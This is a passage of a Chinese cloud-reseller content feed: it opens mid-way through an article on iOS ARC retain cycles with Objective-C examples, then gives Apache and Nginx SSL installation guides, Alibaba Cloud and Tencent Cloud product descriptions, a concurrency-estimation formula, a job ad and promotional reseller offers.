        因为 weak 属性不会发生持有关系,所以上面过程完成后,都没有任何对象持有 tableViewcontroller 于是都被释放

        假设上面对象关系中的 2 变为 tableView 持有 conntrollerstrong 属性

        那么当第三个关系被打破时,也就是没有对象持有 controller 了(发生 [controller release],这时候 controller 会释放他所有的内存,发生下面的事情:

        • 其他对象调用 [controller release]tableView 依然持有 controllercontroller 不会释放内存(不会调用 dealloc

        这样,tableViewcontroller 互相持有,但是没有任何对象在持有他们,但是他们不会被释放,因为都有一个对象持有着他们,于是内存泄漏,这种情况是一种简单的循环引用

        所以,这就是为什么我们写的代码如果会使用到 delegate 模式,需要将 delegate 的属性设置为 weak,但是从上面例子我们可以理解到,并不是 delegate 需要 weak 而是因为出现了 delegate 和使用 delegate 的对象互相持有(循环引用),那么如果我们的代码中不会出现循环引用,那么使用 weak 反而会出错(delegate 被过早的释放),不过这种时候往往有其他对象会持有 delegate

        上面其实只描述了最简单的循环引用场景,在复杂的场景中,可能会有很多个对象依次持有直到循环,面对各种各样复杂的场景,本文认为解决内存问题的方法都是,针对每个对象,每个类,理清他们之间的持有关系,也就是:

        对象之间存在持有关系,是否被持有,决定了对象是否被销毁,ARC 中的内存管理,就是理清对象之间的持有关系

        __weak__strong

        strongweak 是在设置属性的时候使用的,__weak__strong 是用于变量的,这两个关键字在开发的过程中不会频繁的用到,是因为如果没有指定,那么变量默认是通过 __strong 修饰的,不过当我们需要使用这两个关键字的时候,那么也将是我们面对坑最多的情况的时候 —— block 的使用

        • __strong:变量默认的修饰符,对应 property 的 strong,会持有(这里可以认为是当前代码块持有)变量,这里的持有相当于在变量赋值后调用 retain 方法,在代码块结束时调用 release 方法
        • __weak:对应 property 的 weak,同样在变量被释放后,变量的值会变成 nil
        变量描述符场景 —— block 的循环引用

        下面我们来看个平常经常会遇到的场景,考虑下面的代码:

        // 文件 Dummy.h @interface Dummy : NSObject @property (nonatomic, strong) void (^do_block)();
        
        - (void)do_sth:(NSString *)msg; @end // 文件 Dummy.m @interface Dummy() @end @implementation Dummy - (void)do_sth:(NSString *)msg { NSLog(@"Enter do_sth"); self.do_block = ^() {
                [self do_sth_inner:msg];
            }; self.do_block(); NSLog(@"Exit do_sth");
        }
        
        - (void)do_sth_inner:(NSString *)msg { NSLog(@"do sth inner: %@", msg);
        } @end // 文件 AppDelegate.m - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
            Dummy *dummy = [[Dummy alloc] init];
            [dummy do_sth:@"hello"]; return YES;
        }

        新建一个空白的单页面 iOS 应用,这里大家一定知道结果了,在控制台会输出这样的内容:

        2018-11-15 22:56:34.281346+0800 iOSPlayground[42178:5466855] Enter do_sth 2018-11-15 22:56:34.281445+0800 iOSPlayground[42178:5466855] do sth inner: hello 2018-11-15 22:56:34.281536+0800 iOSPlayground[42178:5466855] Exit do_sth

        当然相信大家已经看出问题来了,上面的代码会造成循环引用,当然很多时候我们在学习写 iOS 代码的时候,都会有人教导过我们 block 里面的 self 是会存在循环引用的(如上代码的结果),必须要使用 __weak,那么为什么呢?这里依然回到上面的内存管理原则,我们来梳理一下持有关系,首先这里有一个基础知识,那就是 block 是一个对象,并且他会持有所有他捕获的变量,这里我们来看下内存持有关系:

        持有关系

        同样,我们来分析下这个持有关系

        1. self 对象持有了 do_block 对象
        2. 由于 selfdo_block 中使用了,所以 do_block 的代码区块持有了 self
        3. 其他对象(这里是 AppDelegate 实例)通过变量的方式持有对外的 dummy 对象

        那么在我们的代码执行到 -application:didFinishLaunchingWithOptions: 最后一行的时候,由于代码块的结束,ARC 将会对块内产生的对象分别调用 release 释放对象,这时候,上面 3 的持有关系被打破了

        但是,由于 1,2 这两条持有关系存在,所以无论是 self 对象,还是 do_sth block 他们都至少被一个对象所持有,所以,他们无法被释放,并且也无法被外界所访问到,形成了循环引用导致内存泄漏,通过 Xcode 提供的内存图(Debug Memeory Graph)我们也可以看到,这一现象:

        内存图

        那么这里的解决方法就是,进行下面的修改:

        - (void)do_sth:(NSString *)msg { NSLog(@"Enter do_sth");
            __weak typeof(self) weakself = self; self.do_block = ^() {
                [weakself do_sth_inner:msg];
            }; self.do_block(); NSLog(@"Exit do_sth");
        }

        这样打破了上面持有关系 2 中,do_block 持有 self 的问题,这样就和上面描述 delegate 的场景一样了

        变量描述符场景 —— block 的循环引用 2

        接下来看下另外一个循环引用的场景,Dummy 类的定义不变,使用方法做一些调整:

        - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
            Dummy *dummy = [[Dummy alloc] init];    
            dummy.do_block = ^{
                [dummy do_sth_inner:@"hello2"];
            };
            dummy.do_block(); return YES;
        }

        奇怪,这里没有 self 了啊,为什么依然循环引用了啊?接着继续看持有关系图:

        持有关系

        是不是和上一个场景很像?因为就是一样的,只是一个视野在类的内部,另一个视野在类的外部,在类的内部那就是 selfdo_block 互相持有,形成循环引用;在类的外部那就是 dummydo_block 互相持有,形成循环应用

        一点个人经验

        实际项目肯定不会是本文中这么明显简单的场景,但是再多复杂的场景肯定是这些简单的场景不断的嵌套组合而成,所以保证代码内存没有问题的最好的方法是每次遇到需要处理内存场景时,仔细分析对象间的持有关系,也就是保证组成复杂场景的每个小场景都没有问题,那么基本就不会出现问题了,对于出现内存管理出现问题的情况,一般我们都能定位到是某一部分代码内存泄漏了,那么直接分析那部分代码的持有关系是否正确

        iOS macOS 开发中的内存管理不要在意引用计数,引用计数是给运行时看的东西,作为人类我们需要在意对象间的持有关系,理清持有关系那么就表明引用计数不会有问题

        结语

        到此对于内存管理的思路算是结束了,但是就像本文一开始所说的,这里并不是结束而是开始,接下来建议大家在有了一定经验后可以再去深入了解下面的内容:

        • Core Foundation 框架的内存管理,没有 ARC 的眷顾
        • Core Foundation 框架和 Objective-C 的内存交互 —— Toll-Free Bridging,ARC 和 CF 框架的桥梁
        • Objective-C 高级编程 —— 《iOS 与 OS X 多线程和内存管理》,我从这本书里面收益良多
        • Swift 下的内存管理,分清 weakunowned 有什么区别,逻辑依然是理清持有关系
        • C 语言入门,Objective-C 源自于 C 语言,所有 C 语言的招式在 Objective-C 中都好用,在某些特殊场景会必定会用到



        阿里云优惠券:https://promotion.aliyun.com/ntms/yunparter/invite.html?userCode=d4m00na3

        ]]>
        阿里云发布多款云管工具,任何角色都可以轻松完成云上运维 Fri, 02 May 2025 09:39:04 +0800 无论是在传统的开发过程,还是在云上,运维都是一个十分重要而又繁重的工作。随着企业规模的扩大,系统架构的复杂度在增加,部署规模也在不断扩大,控制台不再能满足其需求,需要一个便捷、实用的运维系统或者运维工具来完成,这不仅需要大量的开发工作,还需要对云产品的API进行学习和研究。

        阿里云也针对这些问题对开发者资源、工具进行了进一步的强化。从阿里开源、API、文档SDK、CLI、调用示例等多个视角整合阿里云开发资源,构建全新的开发者中心,以提升开发效率。并根据开发者、运维人员特性提供了不同的工具。

        1、针对开发人员优化 API 及调用工具
        1.1. API 文档2.0
        在原有API文档上每个参数都增加了示例值,并增加错误中心,可以查询到每一个错误码的错误信息以及相应的解决方案,且在每一次错误API的错误返回中都会添加一个Recommend字段,来帮助开发者快速发现问题。
        1

        1.2. SDK 调用示例中心
        在完善和丰富语言类型的同时,不断完善相应的调用示例,构建Demo中心,以降低开发者的开发成本。
        2

        1.3. OpenAPI Explorer
        阿里云 OpenAPI Explorer 提供了可视化 API 调用工具。通过该工具,可以让开发者无需前期准备、不用编程、零代码调用阿里云 API云产品以及 API 市场上开放的 API,实时根据请求动态生成 SDK 调用示例,提升开发者的开发效率。
        3

        1.4 场景化的 API 调用代码
        在开发者实际的业务场景中,往往需要串联多个阿里云原子化的 API 来完成相应的功能。阿里云为了帮助用户以更低的学习成本完成开发,提供了场景化的开发引导。目前在Ecs控制台的购买和批量续费时已经提供了相应功能。

        4

        1.5 API 控制台
        提供调用阿里云API的统计服务,可以再此实时查看您对阿里云API的调用情况,也可以针对调用错误配置相应报警规则。
        5

        2、为运维人员提供命令行的管理方式
        云命令行,网页版命令行工具,允许用户通过命令行管理阿里云资源。是阿里云根据运维人员特点提供的除控制台、API 之外的第三种管理阿里云服务的方式。在云命令行启动时,会自动分配一台免费的虚拟机,并预装CLI、Terraform等工具。开发者不仅可以通过命令行管理阿里云资源,也可以用Shell脚本来固化日常操作,使得无需开发运维系统,也能快速、准确的执行您的管理操作,以降低操作的成本和误操作的风险。

        6

        无论哪种方式,都是为了给开发者更好的体验。所有的功能也都在快速的迭代,因此也希望您能够体验相应产品,并提出宝贵意见。


        ]]>
        Apache 2.4 -SSL证书安装指南 Fri, 02 May 2025 09:39:04 +0800 一、获取SSL证书
         1.获取证书文件

        在您完成申请阿里云服务器ssl证书的流程后,登录系统将会下载一个压缩文件,使用里面的ApacheServer.zip文件;

        2.获取私钥证书文件

        请找到之前提交csr时生成的.key私钥文件,该文件为证书的私钥,后面配置要用到;

        二、安装服务器证书

        1.修改httpd.conf文件

        去掉以下语句的注释符

        LoadModule ssl_module modules/mod_ssl.so
        
        Include conf/extra/httpd-ssl.conf
        2.修改主机域名

        打开Apache2.x/conf/extra/目录下的httpd-ssl.conf文件,修改如下语句:

        <VirtualHost *:443>
            DocumentRoot "/var/www/html"
            ServerName www.trustauth.cn
            SSLProtocol all -SSLv2 -SSLv3
            SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!3DES:!MD5:!ADH:!RC4:!DH:!DHE
            SSLEngine on
            SSLCertificateFile /usr/local/apache/conf/www.trustauth.cn.crt
            SSLCertificateKeyFile /usr/local/apache/conf/www.trustauth.cn.key
            SSLCertificateChainFile /usr/local/apache/conf/issuer.crt
        </VirtualHost>
        3.重启Apache

        保存退出,并重启Apache,通过https方式访问您的站点,测试站点证书的安装配置(如果访问不通,请查看服务器防火墙是否拦截443端口)。

        三、备份和恢复

        在您完成服务器证书的安装与配置后,请务必要备份好您的服务器证书,避免证书遗失给您造成不便:

        1.备份服务器证书

        备份好证书压缩文件及证书私钥.key的文件。

        2.恢复服务器证书

        参照步骤“二、安装服务器证书”即可完成恢复操作。

        四、证书遗失处理

        若您的证书文件损坏或者丢失且没有证书的备份文件,请联系阿里云或米姆客服办理遗失补办业务,重新签发服务器证书。

        ]]>
        阿里云云服务器ECS的优势 Fri, 02 May 2025 09:39:04 +0800 与普通的IDC机房或服务器厂商相比,阿里云提供的云服务器ECS具有以下优势:高可用性、安全性和弹性。

        高可用性

        相较于普通的IDC机房以及服务器厂商,阿里云会使用更严格的IDC标准、服务器准入标准以及运维标准,以保证云计算整个基础框架的高可用性、数据的可靠性以及云服务器的高可用性。

        在此基础之上,阿里云所提供的每个地域都存在多可用区。当您需要更高的可用性时,可以利用阿里云的多可用区搭建自己的主备服务或者双活服务。对于面向金融领域的两地三中心的解决方案,您也可以通过多地域和多可用区搭建出更高的可用性服务。其中包括容灾、备份等服务,阿里云都有非常成熟的解决方案。

        在阿里云的整个框架下,这些服务可以非常平滑地进行切换,相关的信息可以在 阿里云行业解决方案 中找到。无论是两地三中心,还是电子商务以及视频服务等,都可以在阿里云找到对应的行业解决方案。

        此外,阿里云为您提供了如下三项支持:

        • 提升可用性的产品和服务,包括云服务器、负载均衡、多备份数据库服务以及数据迁移服务DTS等。

        • 行业合作伙伴以及生态合作伙伴,帮助您完成更稳定的架构,并且保证服务的持续性。

        • 多种多样的培训服务,让您从业务端到底层的基础服务端,在整条链路上实现高可用。

        安全性

        选择了云计算,最关心的问题就是云计算的安全与稳定。阿里云近期通过了诸多国际安全标准认证,包括ISO27001、MTCS等,这些安全合规对于用户数据的私密性、用户信息的私密性以及用户隐私的保护都有非常严格的要求。对于云计算,推荐您使用 阿里云专有网络

        • 在阿里云专有网络之上,可以产生更多的业务可能性。

          您只需进行简单配置,就可在自己的业务环境下,与全球所有机房进行串接,从而提高了业务的灵活性、稳定性以及业务的可发展性。

        • 如果已经拥有自建的IDC机房,也不会产生问题。

          阿里云专有网络可以拉专线到原有的IDC机房,形成混合云的架构。阿里云可以提供各种混合云的解决方案和非常多的网络产品,形成强大的网络功能,让您的业务更加灵活。结合阿里云的生态,您可以在云上发展出意想不到的业务生态。

        • 阿里云专有网络更加稳定和安全。

          稳定性:业务搭建在专有网络上,而网络的基础设施将会不停进化,使您每天都拥有更新的网络架构以及更新的网络功能,让您的业务永远保持在一个稳定的状态。

          安全性:面对互联网上不断的攻击流量,专有网络天然就具备流量隔离以及攻击隔离的功能。业务搭建在专有网络上后,专有网络会为业务筑起第一道防线。

        总之,专有网络提供了稳定、安全、快速交付、自主可控的网络环境。对于传统行业以及未接触到云计算的行业和企业而言,借助专有网络混合云的能力和混合云的架构,将享受云计算所带来的技术红利。

        要看视频版,请单击这里:云计算的安全性

        弹性

        云计算最大的优势就在于弹性。目前,阿里云已拥有在数分钟内创建出一家中型互联网公司所需要的IT资源的能力,这就保证了大部分企业在云上所构建的业务都能够承受巨大的业务量压力。

        • 计算弹性

          • 纵向的弹性,即单个服务器的配置变更。

            传统IDC模式下,很难做到对单个服务器进行变更配置。而对于阿里云,当您购买了云服务器或者存储的容量后,可以根据业务量的增减自由变更自己的配置。关于纵向弹性的具体应用,详情请参考 升降配

          • 横向的弹性。

            对于游戏应用或直播平台出现的高峰期,若在传统的IDC模式下,您根本无法立即准备资源;而云计算却可以使用弹性的方式帮助您度过这样的高峰。当业务高峰消失时,您可以将多余的资源释放掉,以减少业务成本。利用横向的扩展和缩减,配合阿里云的弹性伸缩,完全可以做到定时定量的伸缩,或者按照业务的负载进行伸缩。关于横向弹性的具体应用,详情请参考 弹性伸缩

        • 存储弹性

          阿里云拥有很强的存储弹性。当存储量增多时,对于传统的IDC方案,您只能不断增加服务器,而这样扩展的服务器数量是有限的。阿里云为您提供海量的存储,您可以按需购买,为存储提供最大保障。关于存储弹性的具体应用,详情请参考 磁盘扩容

        • 网络弹性

          云上的网络也具有非常大的灵活性。只要您购买了阿里云的专有网络,那么所有的网络配置与线下IDC机房配置可以是完全相同的,并且可以拥有更多的可能性。可以实现各个机房之间的互联互通、安全域隔离以及灵活的网络配置和规划。关于网络弹性的具体应用,详情请参考 专有网络

        总之,对于阿里云的弹性而言,是计算的弹性、存储的弹性、网络的弹性以及您对于业务架构重新规划的弹性。您可以使用任意方式去组合自己的业务,阿里云都能够满足您的需求。

        观看视频版,请单击这里:云计算的弹性体现在哪些方面?

        云服务器ECS与传统IDC对比优势

        云服务器ECS与传统IDC的对比如下表所示。


        对比项 云服务器 传统IDC
        机房部署 自主研发的直流电服务器,绿色机房设计,电源利用效率(Power Usage Effectiveness,PUE)低 传统交流电服务器设计,PUE高
        骨干机房,出口带宽大,独享带宽 机房质量参差不齐,用户选择困难,以共享带宽为主
        BGP(Border Gateway Protocol,边界网关协议)多线机房,全国访问流畅均衡 以单线和双线为主
        操作易用 内置主流的操作系统,Windows正版激活 需用户自备操作系统,自行安装
        可在线更换操作系统 无法在线更换操作系统,需要用户自己重装
        Web在线管理,简单方便 没有在线管理工具,维护困难
        手机验证密码设置,安全方便 重置密码麻烦,且被破解的风险大
        容灾备份 多份数据副本,单份损坏可在短时间内快速恢复 用户自行搭建,使用传统存储设备,价格高昂
        用户自定义快照 没有提供快照功能,无法做到自动故障恢复
        快速自动故障恢复 数据损坏需用户自己修复
        安全可靠 有效阻止MAC欺骗和ARP攻击 很难阻止MAC欺骗和ARP攻击
        有效防护DDoS攻击,可进行流量清洗和黑洞 清洗和黑洞设备需要另外购买,价格昂贵
        端口入侵扫描、挂马扫描、漏洞扫描等附加服务 普遍存在漏洞挂马和端口扫描等问题
        灵活扩展 开通云服务器非常灵活,可以在线升级配置 服务器交付周期长
        带宽升降自由 带宽一次性购买,无法自由升降
        在线使用负载均衡,轻松扩展应用 硬件负载均衡,价格昂贵,设置也非常麻烦
        节约成本 使用成本门槛低 使用成本门槛高
        无需一次性大投入 一次性投入巨大,闲置浪费严重
        按需购买,弹性付费,灵活应对业务变化 无法按需购买,必须为业务峰值满配
        ]]>
        阿里云Nginx SSL证书安装指南 Fri, 02 May 2025 09:39:04 +0800 一、获取SSL证书
         1.获取证书文件

        在您完成申请阿里云服务器ssl证书的流程后,登录系统将会下载一个压缩文件,使用里面的Nginx_Other_Server.zip文件;

        2.获取私钥证书文件

        请找到之前提交csr时生成的.key私钥文件,该文件为证书的私钥,后面配置要用到;

        二、安装服务器证书

        1.配置SSL证书

        把服务器证书testweb.95105813.cn_cachain.crt和私钥testweb.95105813.cn.key上传到配置文件指向的目录,打开nginx安装目录下conf目录中的nginx.conf文件,找到被注释掉的server 配置,进行修改:

           server {
            listen 443;
            server_name 95105813.cn;   #证书绑定的网站域名
            ssl on;
            ssl_certificate  cert/testweb.95105813.cn_cachain.crt  #证书公钥
            ssl_certificate_key cert/testweb.95105813.cn.key;    #证书私钥
            ssl_session_timeout 5m;
            ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!3DES:!aNULL:!MD5:!ADH:!RC4;
            ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
            ssl_prefer_server_ciphers on;
            location / {        root html; #站点目录
                index index.html index.htm;
            }
        }
        2.重启Nginx

        保存退出,并重新加载nginx配置nginx -s reload后通过https方式访问您的站点,测试证书的安装配置。(如果访问不通,请先检查防火墙是否拦截443端口

        三、备份和恢复

        在您完成服务器证书的安装与配置后,请务必要备份好您的服务器证书,避免证书遗失给您造成不便:

        1.备份服务器证书

        备份服务器证书私钥文件testweb.95105813.cn.key,服务器证书文件testweb.95105813.cn_bundle.crt,即可完成服务器证书的备份操作。

        2.恢复服务器证书

        参照步骤“五、安装服务器证书”即可完成恢复操作。

        四、证书遗失处理

        若您的证书文件损坏或者丢失且没有证书的备份文件,请联系阿里云或米姆(客服热线 95187/14737363737)办理遗失补办业务,重新签发服务器证书。

        ]]>
        什么是阿里云云服务器ECS Fri, 02 May 2025 09:39:04 +0800 通过本文档,您可以了解什么是阿里云云服务器ECS,以及它所涉及的资源和服务。

        云服务器Elastic Compute Service(ECS)是阿里云提供的一种基础云计算服务。使用云服务器ECS就像使用水、电、煤气等资源一样便捷、高效。您无需提前采购硬件设备,而是根据业务需要,随时创建所需数量的云服务器ECS实例。在使用过程中,随着业务的扩展,您可以随时扩容磁盘、增加带宽。如果不再需要云服务器,也能随时释放资源,节省费用。

        下图列出了ECS涉及的所有资源,包括实例规格、块存储、镜像、快照、带宽和安全组。您可以通过 云服务器管理控制台 或者 阿里云 App 及API配置您的ECS资源。    
               
         

        相关概念

        在使用ECS之前,您需要了解以下概念:

        • 地域和可用区:是指ECS实例所在的物理位置。

        • 实例:等同于一台虚拟机,包含CPU、内存、操作系统、网络、磁盘等最基础的计算组件。

        • 实例规格:是指实例的配置,包括vCPU核数、内存、网络性能等。实例规格决定了ECS实例的计算和存储能力。

        • 镜像:是指ECS实例运行环境的模板,一般包括操作系统和预装的软件。操作系统支持多种Linux发行版本和不同的Windows版本。

        • 块存储:包括基于分布式存储架构的 云盘和共享块存储,以及基于物理机本地硬盘的 本地存储

        • 快照:是指某一个时间点上一块弹性块存储的数据备份。

        • 网络类型

          • 专有网络:基于阿里云构建的一个隔离的网络环境,专有网络之间逻辑上彻底隔离。更多信息,请参考 专有网络VPC

          • 经典网络:统一部署在阿里云公共基础内,规划和管理由阿里云负责。

        • 安全组:由同一地域内具有相同保护需求并相互信任的实例组成,是一种虚拟防火墙,用于设置实例的网络访问控制。

        ]]>
        阿里云一台应用服务器怎么计算其可承受的并发量 Fri, 02 May 2025 09:39:04 +0800     并发的意思是指网站在同一时间访问的人数,人数越大,瞬间带宽要求更高。服务器并发量分为:1.业务并发用户数;2.最大并发访问数;3.系统用户数;4.同时在线用户数;
        说明服务器实际压力,能承受的最大并发访问数,既取决于业务并发用户数,还取决于用户的业务场景,这些可以通过对服务器日志的分析得到。

        一般只需要分析出典型业务(用户常用,最关注的业务操作)

        给出一个估算业务并发用户数的公式(测试人员一般只关心业务并发用户数)

        C=nL/T

        C^=C+3×(C的平方根)

        C是平均的业务并发用户数、n是login session的数量、L是login session的平均长度、T是指考察的时间段长度、C^是指业务并发用户数的峰值。

        假设OA系统有1000用户,每天400个用户发访问,每个登录到退出平均时间2小时,在1天时间内用户只在8小时内使用该系统。

        C=400×2/8=100

        C^=100+3×(100的平方根)=100+3×10=130

        另外,如果知道平均每个用户发出的请求数u,则系统吞吐量可以估算为u×C]]>
        米姆招聘-资深Linux系统工程师 Fri, 02 May 2025 09:39:04 +0800 招聘职位

        资深Linux系统工程师

        学历要求

                本科及以上

        岗位职责:

        1、负责各类产品中Linux系统级问题的处理;
        2、负责各类产品中Linux系统和驱动移植、开发;
        3、参与公司终端产品软件开发全过程(需求、设计、实现、测试、维护)。

        任职要求:

        1、具有电子/计算机/通信等相关专业,本科及以上学历,有5年以上linux系统及其驱动开发经验;
        2、精通linux系统及其驱动架构;
        3、熟练掌握C/C++语言,熟悉面向对象的分析和设计技术;
        4、有丰富Unix/Linux环境下开发经验、熟练使用调试工具,熟练应用Perl和Unix Shell等其中一种语言;
        5、熟悉linux内核和驱动,有丰富的内核和驱动开发、调试经验;
        6、有linux操作系统优化经验;
        7、具有良好的沟通能力,有较强的独立工作能力和解决问题的能力。


        简历投递:sw@51mimu.com

                        rs@51mimu.com

        ]]>
        米姆招募阿里云渠道分销合作伙伴 Fri, 02 May 2025 09:39:04 +0800 你想成为全球奥运会指定云计算服务商的官方认证伙伴吗

        你想站在云计算风口上,实现200%+年度业绩增长率吗

        你想成为区域领先产业龙头企业,引导产业发展方向吗

        阿里云城市服务商招募啦

        阿里云优惠

        成为阿里云城市服务商后可以获得哪些权益呢

        1、成为中国NO.1云计算服务商的合作伙伴,获得区域资质认证

        2、获得阿里云最完善的赋能培训,实现业务向云计算转型,凭借先发优势成为所在区域领先产业龙头企业

        3、云生态万亿级市场商机可为伙伴带来200%+业务年增长

        4、阿里云品牌、技术、服务及运营支撑

        阿里云优惠

        那么我们该如何申请成为城市服务商呢

        欢迎填写表单申请加入阿里云城市服务商,如果符合以下1条或多条请说明,通过概率更高

        1、所在地属城市服务商计划范围内的(GDP百强市、百强县)

        2、自身有软件开发能力和交付经验经验的

        3、有软硬件销售和集成经验的

        4、具有政府、企业、教育、医疗等行业背景和客户资源的

        5、当地政府相关部门资源的(如发改委、经信委、农林、金融等)


        阿里云优惠

        -END-

        ]]>
        如何购买更优惠的阿里云 Fri, 02 May 2025 09:39:04 +0800     

              我们操作流程如此简单,只需一步申请即可自主下单购买。



        购买阿里云



        陈风  云计算BD事业部

        广州米姆信息科技有限公司    阿里云南战区合作伙伴

         

        米姆科技公众号,阿里云优惠服务提供商

        电话:

        14737363737

        微信:

        memkeji

        E-mail

        sw@51mimu.com

        地址:

        广东省广州市南沙区丰泽东路106号1号楼




        ]]>
        米姆能带给你的价值(阿里云用户服务) Fri, 02 May 2025 09:39:04 +0800

        增值技术服务服务

        跟我们建立关联合作关系可以享受以下技术支持服务:

        原线上享受的支持服务不变

        l  阿里云线上工单服务

        l  阿里云95187服务热线服务

        l  其他服务

        增值服务:

        l  线上工单加急服务

        l  产品配置支持服务

        l  远程故障排查服务

        l  免费测试支持服务

        l  阿里云中台咨询服务

        l  阿里云大数据咨询服务

        l  最新安全漏洞告知服务

        l  系统上云整体规划服务

        l  阿里云智慧物联咨询服务

        l  现场需求沟通和上云咨询服务

        l  免费云上架构设计和方案服务

        l  阿里云原厂产品专家咨询服务

        l  阿里云最新优惠即时通知服务

        l  阿里云全系列解决方案咨询服务

        以上服务都是免费提供。

        同时我们还提供增值收费服务,通过我们的技术专家为你们解决深度业务系统问题

        l  托管运维服务

        l  数据迁移服务

        l  二次开发服务

        l  项目驻场实施服务

        l  数据库搭建运维服务


        l  万元系统测试扶持

        新系统上云,根据系统规模,每项目提供最高10000元的测试资金支持,让你测试不花钱。

            商务优势

        l  可提供代支付服务,通过阿里云用户管理后台代理支付购买云资源,解决企业资金流程慢或资金短期周转困难,无法敏捷交付云资源的困难


        陈风  云计算BD事业部

        广州米姆信息科技有限公司    阿里云南战区合作伙伴

         

        阿里云优惠,米姆科技公众号

        电话:

        14737363737

        微信:

        memkeji

        E-mail

        sw@51mimu.com

        地址:

        广东省广州市南沙区丰泽东路106号1号楼


        ]]>
        异地组网解决方案 Fri, 02 May 2025 09:39:04 +0800


        ]]>
        内网穿透 Fri, 02 May 2025 09:39:04 +0800 nps是目前最为方便、可视化的内网穿透软件,只需简单部署 即可实现内网穿透;适用于各大NAS系统以及服务器,如群晖、铁威马、海纳思、Casa OS、win、Linux、docker等。其中可以把如小雅、emby、qb下载器等套件单独访问。

        内网穿透+域名免备案一年88元30M带宽 : 文章标题-1


        ]]>
        腾讯云2核8G 8M一年74元 Fri, 02 May 2025 09:39:04 +0800        云服务器(Cloud Virtual Machine,CVM)为您提供安全可靠的弹性计算服务。 只需几分钟,您就可以在云端获取和启用 CVM,用于实现您的计算需求。随着业务需求的变化,您可以实时扩展或缩减计算资源。CVM 支持按实际使用的资源计费,可以为您节约计算成本。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。

                 

        全面

        腾讯云 CVM 为您提供全面广泛的服务内容。

        • 多地域多可用区:中国大陆地域覆盖华南、华东、华北、西南四个地域。境外节点覆盖东南亚、亚太、北美、美西及欧洲五个地域。在靠近您用户的地域部署应用可获得较低的时延。

        • 多种机型配置

          • 标准型(适合中小型 Web 应用、中小型数据库)。

          • 内存型(适合需要大量的内存操作、查找和计算的应用)。

          • 高 IO 型(适合低时延,I/O 密集型应用)。

          • 计算型(适合大型游戏服务器和广告服务引擎、高性能计算以及其他计算密集型应用程序)。

          • 大数据型(适合 Hadoop 分布式计算、海量日志处理、分布式文件系统和大型数据仓库等吞吐密集型应用)。

          • 异构型(适合于深度学习、科学计算、视频编解码和图形工作站等高性能应用)。

          • 批量型(适用于渲染、基因分析、晶体药学等短时频繁使用超大规模计算节点的计算密集型应用)。

        弹性

        致力于打造业界最为弹性的云端服务器管理平台,提供以下能力:

        • 硬件配置:基于云硬盘的云服务器即时提升/降低硬件配置(不区分包年包月或按量计费类型)。

        • 磁盘变更:基于云硬盘的云服务器即时扩容磁盘(不区分包年包月或按量计费类型)。

        • 网络带宽:云服务器即时升级/降级带宽。

        • 计费模式:云服务器支持带宽计费模式及流量计费模式的互相切换。

        • 操作系统:中国大陆地区的云服务器可随时切换 Windows 与 Linux 系统(不区分包年包月或按量计费类型),其他地区暂不支持互相切换。

        • 弹性 IP :支持绑定各种网络环境下的主机。

        • 镜像种类:公有镜像、服务市场镜像及自定义镜像,同时支持跨地域调整和镜像复制。关于镜像类型介绍,请参见 镜像类型。

        • 自定义网络架构:私有网络(VPC)提供用户独立的网络空间,自定义网段划分和 IP 地址、自定义路由策略等。提供端口级出入访问控制,实现全面网络逻辑隔离。详情请参见 私有网络。

        可靠

        致力于打造业界最为可靠的云服务器。

        • CVM 可靠性:单实例服务可用性99.975%,数据可靠性99.9999999%。支持宕机迁移无感知、数据快照、自动告警等功能,为您的服务器保驾护航。

        • 云硬盘策略:提供三副本专业存储策略,消除单点故障,保证数据可靠性,让您可以放心地将数据放在云端,无需担心数据丢失的问题。

        • 稳定网络架构:成熟的网络虚拟化技术和网卡绑定技术保证网络高可用性。T3+以上数据中心中运行,保证运行环境的可靠性,让您从网络可用性中解放出来。

        极速

        无论从用户操作还是云服务器性能,都致力于提供极速便捷的服务。

        • 操作便捷快速:您只需几分钟时间即可轻松获取一个、数百个甚至数千个服务器实例,您可以一键购买、配置、管理、扩展您的服务。

        • 极速公网质量:超过20线 BGP 公网,覆盖几乎所有网络运营商。无论您的客户使用哪家 ISP,均可享受相同的极速带宽和秒级故障切换体验。

        • 极速内网质量:腾讯云同地域机房内网互通,底层均为万兆或千兆网络,保证内网通信质量。

        安全

        腾讯云提供多种方案保障云服务器安全,并提供备份及回滚机制的数据安全性。

        • 多种方式远程登录云服务器:提供多种登录方式,包括密钥登录、密码登录、VNC 登录等。

        • 丰富的安全服务:提供 DDoS 防护、DNS 劫持检测、入侵检测、漏洞扫描、网页木马检测、登录防护等安全服务,为您的服务器保驾护航。

        • 免费提供云监控:并支持多种实时预警。

        • 回收站保护机制:支持包年包月类型云服务到期后进入回收站一段时间,规避因立即销毁带来的数据丢失等重大影响。

        • 自定义访问控制:通过安全组和网络 ACL 自定义主机和网络的访问策略,灵活自由地为不同实例设定不同的防火墙。

        腾讯云安全服务有如下特点:

        • 全方位安全防护
          为云服务器提供一体化的安全服务,包括安全体检(漏洞扫描、挂马检测、网站后门检测、端口安全检测等)和安全防御(DDoS 防护、入侵检测、访问控制来保证数据安全与用户隐私)。

        • 实时告警定期分析
          7*24小时的安全服务,第一时间发现漏洞,实时免费通知到您。

        • 免费方便安全保障
          无需为您的云服务购买昂贵的安全设备,购买云服务即可免费享用云安全服务。一键开通,零部署,方便简单。

        • 专业团队,可靠保障
          云安全是由具备多年安全经验与历练的腾讯安全团队倾力打造,为云服务用户提供的专业安全服务,值得您的信赖。

        易用

        官方认证的丰富应用软件和运维工具,帮助您便捷运维,使您不再为管理工具烦恼。

        • 腾讯云 CVM 提供基于 Web 的用户界面,即控制台,可以像与实体机器一样对云服务器实例进行启动、调整配置、重装系统等操作。如果您已注册腾讯云账户,您可以直接 登录 CVM 控制台 ,对您的 CVM 进行操作。

        • 腾讯云 CVM 提供 API 体系,您可使用 API 便捷的将云服务器与您的内部监控、运营系统相结合,实现贴近业务需求、完全自动化的业务运维体系。这些请求属于 HTTP 或 HTTPS 请求,有关 CVM API 操作的更多信息,请参阅 API 文档。

